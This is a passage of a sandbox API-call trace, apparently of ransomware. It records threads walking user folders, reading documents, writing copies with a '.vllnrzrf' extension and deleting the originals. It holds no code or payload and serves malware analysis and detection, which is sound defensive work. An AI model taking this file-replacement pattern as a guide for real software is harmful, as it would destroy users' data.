halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\rkp5k.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0103.622] GetFileType (hFile=0x480) returned 0x1 [0103.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0103.622] GetFileType (hFile=0x480) returned 0x1 [0103.623] GetFileSize (in: hFile=0x480, lpFileSizeHigh=0x1cfaf228 | out: lpFileSizeHigh=0x1cfaf228*=0x0) returned 0xa921 [0103.623] ReadFile (in: hFile=0x480, lpBuffer=0x2330fb8, nNumberOfBytesToRead=0xa921, lpNumberOfBytesRead=0x1cfaf158, lpOverlapped=0x0 | out: lpBuffer=0x2330fb8*, lpNumberOfBytesRead=0x1cfaf158*=0xa921, lpOverlapped=0x0) returned 1 [0103.624] CloseHandle (hObject=0x480) returned 1 [0103.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp.vllnrzrf", lpFilePart=0x0) returned 0x67 [0103.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0103.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\rkp5k.odp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0103.806] GetFileType (hFile=0x480) returned 0x1 [0103.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0103.806] GetFileType (hFile=0x480) returned 0x1 [0103.806] WriteFile (in: hFile=0x480, lpBuffer=0x236d010*, nNumberOfBytesToWrite=0xab21, lpNumberOfBytesWritten=0x1cfaf1b8, lpOverlapped=0x0 | out: lpBuffer=0x236d010*, lpNumberOfBytesWritten=0x1cfaf1b8*=0xab21, lpOverlapped=0x0) returned 1 [0103.808] CloseHandle (hObject=0x480) returned 1 [0103.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", lpFilePart=0x0) returned 0x5e [0103.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", nBufferLength=0x105, lpBuffer=0x1cfaed50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", lpFilePart=0x0) returned 0x5e [0103.813] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\rkp5k.odp")) returned 1 [0103.814] CoUninitialize () Thread: id = 73 os_tid = 0xaa0 [0103.855] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1cf2ee80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0103.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf2f2e0) returned 1 [0103.859] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1cf2edd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0103.859] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\", nBufferLength=0x105, lpBuffer=0x1cf2ed70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\", lpFilePart=0x0) returned 0x69 [0103.859] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\*.*", lpFindFileData=0x1cf2ef80 | out: lpFindFileData=0x1cf2ef80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1405e8b0, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xdf872600, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0xdf872600, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0103.859] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf2efd0 | out: lpFindFileData=0x1cf2efd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1405e8b0, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xdf872600, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0xdf872600, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.860] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf2efd0 | out: lpFindFileData=0x1cf2efd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aacdfd0, ftCreationTime.dwHighDateTime=0x1d5e092, ftLastAccessTime.dwLowDateTime=0xc9a93000, ftLastAccessTime.dwHighDateTime=0x1d5d7ad, ftLastWriteTime.dwLowDateTime=0xc9a93000, ftLastWriteTime.dwHighDateTime=0x1d5d7ad, nFileSizeHigh=0x0, nFileSizeLow=0x2601, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEZCupb_hEuu.ots", cAlternateFileName="WEZCUP~1.OTS")) returned 1 [0103.860] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf2efd0 | out: lpFindFileData=0x1cf2efd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.860] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0103.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2f230) returned 1 [0103.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2f1f0) returned 1 [0103.861] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", nBufferLength=0x105, lpBuffer=0x1cf2ecf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", lpFilePart=0x0) returned 0x79 [0103.861] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", nBufferLength=0x105, lpBuffer=0x1cf2ecf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", lpFilePart=0x0) returned 0x79 [0103.861] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", nBufferLength=0x105, lpBuffer=0x1cf2ecf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", lpFilePart=0x0) returned 0x79 [0103.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf2f1d0) returned 1 [0103.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\uhxcan3benh9j2sm go\\wezcupb_heuu.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4bc [0103.862] GetFileType (hFile=0x4bc) returned 0x1 [0103.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2f140) returned 1 [0103.862] GetFileType (hFile=0x4bc) returned 0x1 [0103.862] GetFileSize (in: hFile=0x4bc, lpFileSizeHigh=0x1cf2f368 | out: lpFileSizeHigh=0x1cf2f368*=0x0) returned 0x2601 [0103.862] ReadFile (in: hFile=0x4bc, lpBuffer=0x237a550, nNumberOfBytesToRead=0x2601, lpNumberOfBytesRead=0x1cf2f298, lpOverlapped=0x0 | out: lpBuffer=0x237a550*, lpNumberOfBytesRead=0x1cf2f298*=0x2601, lpOverlapped=0x0) returned 1 [0103.863] CloseHandle (hObject=0x4bc) returned 1 [0103.870] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf2ecf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots.vllnrzrf", lpFilePart=0x0) returned 0x82 [0103.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf2f1d0) returned 1 [0103.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\uhxcan3benh9j2sm go\\wezcupb_heuu.ots.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4bc [0103.871] GetFileType (hFile=0x4bc) returned 0x1 [0103.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2f140) returned 1 [0103.871] GetFileType (hFile=0x4bc) returned 0x1 [0103.871] WriteFile (in: hFile=0x4bc, lpBuffer=0x238f140*, nNumberOfBytesToWrite=0x2801, lpNumberOfBytesWritten=0x1cf2f2f8, lpOverlapped=0x0 | out: lpBuffer=0x238f140*, lpNumberOfBytesWritten=0x1cf2f2f8*=0x2801, lpOverlapped=0x0) returned 1 [0103.873] CloseHandle (hObject=0x4bc) returned 1 [0103.876] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", nBufferLength=0x105, lpBuffer=0x1cf2ecf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", lpFilePart=0x0) returned 0x79 [0103.876] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", nBufferLength=0x105, lpBuffer=0x1cf2ee90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots", lpFilePart=0x0) returned 0x79 [0103.876] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go\\WEZCupb_hEuu.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\uhxcan3benh9j2sm go\\wezcupb_heuu.ots")) returned 1 [0103.882] CoUninitialize () Thread: id = 74 os_tid = 0xb34 [0103.892] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1cf4ee40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0103.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf4f2a0) returned 1 [0103.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1cf4ed90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0103.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x1cf4ed30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x28 [0103.892] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.*", lpFindFileData=0x1cf4ef40 | out: lpFindFileData=0x1cf4ef40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0103.893] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf4ef90 | out: lpFindFileData=0x1cf4ef90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.893] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf4ef90 | out: lpFindFileData=0x1cf4ef90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.893] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cf4ef90 | out: lpFindFileData=0x1cf4ef90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.893] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0103.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf4f1f0) returned 1 [0103.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf4f1b0) returned 1 [0103.898] CoUninitialize () Thread: id = 75 os_tid = 0xb30 [0103.910] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1c92eb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0103.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92efc0) returned 1 [0103.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1c92eab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0103.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", nBufferLength=0x105, lpBuffer=0x1c92ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpFilePart=0x0) returned 0x28 [0103.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x1c92ec60 | out: lpFindFileData=0x1c92ec60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0103.913] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ecb0 | out: lpFindFileData=0x1c92ecb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.914] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ecb0 | out: lpFindFileData=0x1c92ecb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.914] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ecb0 | out: lpFindFileData=0x1c92ecb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0103.923] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ecb0 | out: lpFindFileData=0x1c92ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0103.923] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ecb0 | out: lpFindFileData=0x1c92ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0103.923] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ecb0 | out: lpFindFileData=0x1c92ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0103.924] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ecb0 | out: lpFindFileData=0x1c92ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0103.924] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0103.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ef10) returned 1 [0103.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92eed0) returned 1 [0103.925] CoUninitialize () Thread: id = 76 os_tid = 0x3a4 [0103.944] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1cfae700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0103.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaeb60) returned 1 [0103.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1cfae650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0103.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", nBufferLength=0x105, lpBuffer=0x1cfae5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpFilePart=0x0) returned 0x2e [0103.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x1cfae800 | out: lpFindFileData=0x1cfae800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0103.945] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfae850 | out: lpFindFileData=0x1cfae850*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.945] FindNextFileW (in: 